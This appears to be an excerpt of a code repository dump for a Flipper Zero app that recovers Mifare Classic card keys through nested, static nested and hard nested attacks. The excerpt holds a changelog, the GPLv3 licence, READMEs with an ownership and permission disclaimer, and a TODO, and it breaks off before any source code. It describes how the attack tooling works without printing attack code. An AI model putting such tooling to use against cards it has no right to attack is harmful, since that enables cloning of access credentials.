[
  {
    "path": "CHANGELOG.md",
    "content": "# Changelog\n\n## 1.5.1\n\nFix wrong invalid/skipped keys count\n\n## 1.5.0 \n\nChanges:\n\n - Added new scene with information about why nonces aren't collected (skipped/invalid)\n\n - Removed some old code, breaking compability with old firmware\n\n - App renamed from \"Flipper (Mifare) Nested\" to \"Flipper Nested\"\n\n\n## 1.4.6\n\nFix fallback to hardnested \n\n\n## 1.4.5 \n\nFix .nested folder if running Hard Nested \n\n\n## 1.4.4\n\nFix skipped = false\n\n\n## 1.4.3\n\nFix invalid free count\n\n\n## 1.4.2\n\nMinor code refactor\n\n\n## 1.4.1\n\nFix invalid nonces after skipping \n\n\n## 1.4.0\n\nChanges:\n\n - Changed scenes, now they are more informative and beautiful (closes #6)\n \n - Check if sector is alive in Nested attacks (closes #5)\n \n - Now tag PRNG detected at sector, where key is available (fix not working with dead 0 sector, closes #4)\n \n - Detect hard PRNG from start, hardnested doesn't require calibration now\n \n - Settings menu: ability to always run Hard Nested (regardless of PRNG)\n \n - Minor code refactoring, a lot of bug fixes (memory leaks, stability improvements)\n \n - Fallback to Hard Nested now after 25 failed tries (was 10)\n\n\n## 1.3.0\n\nCheck first_byte_sum (no more invalid ones) \n\n\n## 1.2.5\n\nAdd missing file\n\n\n## 1.2.4\n\nMissing free() on crypto1\n\n\n## 1.2.3\n\nMissing free()\n\n\n## 1.2.2\n\nMigrate to file_stream\n\n\n## 1.2.1\n\nFix memory leaks \n\n\n## 1.2.0\n\nHard Nested attack \n\n\n## 1.1.1\n\nImprove calibration cycle\n\n\n## 1.1.0\n\nChanges:\n\n - Change nested folder name to .nested\n \n - Remove .keys file after search\n \n - Bug fixes\n\n\n## 1.0.0\n\nPublic release \n"
  },
  {
    "path": "LICENSE.md",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<https://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
  },
  {
    "path": "README.CATALOG.md",
    "content": "# Mifare Nested Attacks for Flipper Zero\n\nPorted Nested attacks from Proxmark3 (Iceman fork)\n\n## Currently supported attacks\n\n - nested attack\n - static nested attack\n - hard nested attack\n\n## Warning\n\nApp is still in early development, so there may be bugs. Your Flipper Zero may randomly crash/froze. Please create issue if you find any bugs (one bug = one issue).\n\n## Disclaimer\n\nThe app provided for personal use only. Developer does not take responsibility for any loss or damage caused by the misuse of this app. In addition, the app developer does not guarantee the performance or compatibility of the app with all tags, and cannot be held liable for any damage caused to your tags/Flipper Zero as a result of using the app. By using this app you confirm that the tag belongs to you, you have permission to preform the attack and you agree to hold the app developer harmless from any and all claims, damages, or losses that may arise from its use.\n\n## How to use it?\n\nDetailed guide: https://github.com/AloneLiberty/FlipperNested/wiki/Usage-guide, RU: https://github.com/AloneLiberty/FlipperNested/wiki/%D0%93%D0%B0%D0%B9%D0%B4-%D0%BF%D0%BE-%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8E\n\n## FAQ\n\nFor frequently asked questions, please refer to the FAQ: https://github.com/AloneLiberty/FlipperNested/wiki/FAQ, RU: https://github.com/AloneLiberty/FlipperNested/wiki/%D0%A7%D0%90%D0%92%D0%9E\n\n## Contacts\n\nTelegram: https://t.me/libertydev\n"
  },
  {
    "path": "README.md",
    "content": "# Mifare Nested Attacks for Flipper Zero\n\nPorted Nested attacks from Proxmark3 (Iceman fork)\n\n## Download\n\n[![FlipC.org](https://flipc.org/AloneLiberty/FlipperNested/badge?branch=dev)](https://flipc.org/AloneLiberty/FlipperNested?branch=dev)\n\n## Currently supported attacks\n\n - nested attack\n - static nested attack\n - hard nested attack\n\n## Warning\n\nApp is still in early development, so there may be bugs. Your Flipper Zero may randomly crash/froze. Please create issue if you find any bugs (one bug = one issue).\n\n## Disclaimer\n\nThe app provided for personal use only. Developer does not take responsibility for any loss or damage caused by the misuse of this app. In addition, the app developer does not guarantee the performance or compatibility of the app with all tags, and cannot be held liable for any damage caused to your tags/Flipper Zero as a result of using the app. By using this app you confirm that the tag belongs to you, you have permission to preform the attack and you agree to hold the app developer harmless from any and all claims, damages, or losses that may arise from its use.\n\n## I need **your** help!\n\nTo successfuly recover keys from nested attack we need to correctly predict PRNG value. But we have a problem with that. Due to lack of my knowlege of Flipper Zero NFC HAL, PRNG can jump by quite large values (not like Proxmark3). So app is trying to find a delay where PRNG can be predicted accurately enough. This is not the best option, because we have to try to recover a bunch of unnecessary keys, which takes a lot of time and RAM and also spend a lot of time on timings. I don't know how to fix it. \n\nUPD: Chameleon Ultra devs [faced same issue](https://youtu.be/_wfikmXNQzE?t=202). They seems to use same method: [nested.c](https://github.com/RfidResearchGroup/ChameleonUltra/blob/main/software/src/nested.c) (better know from the beginning of development...)\n\n## How to use it?\n\nDetailed guide: [EN](https://github.com/AloneLiberty/FlipperNested/wiki/Usage-guide), [RU](https://github.com/AloneLiberty/FlipperNested/wiki/%D0%93%D0%B0%D0%B9%D0%B4-%D0%BF%D0%BE-%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8E).\n\n## FAQ\n\nFor frequently asked questions, please refer to the FAQ: [EN](https://github.com/AloneLiberty/FlipperNested/wiki/FAQ), [RU](https://github.com/AloneLiberty/FlipperNested/wiki/%D0%A7%D0%90%D0%92%D0%9E).\n\n## Contacts\n\nTelegram: [@libertydev](https://t.me/libertydev)\n"
  },
  {
    "path": "TODO.md",
    "content": "# TODO:\n\n1. Better (faster) detection of delay in a nested attack\n"
  },
  {
    "path": "application.fam",
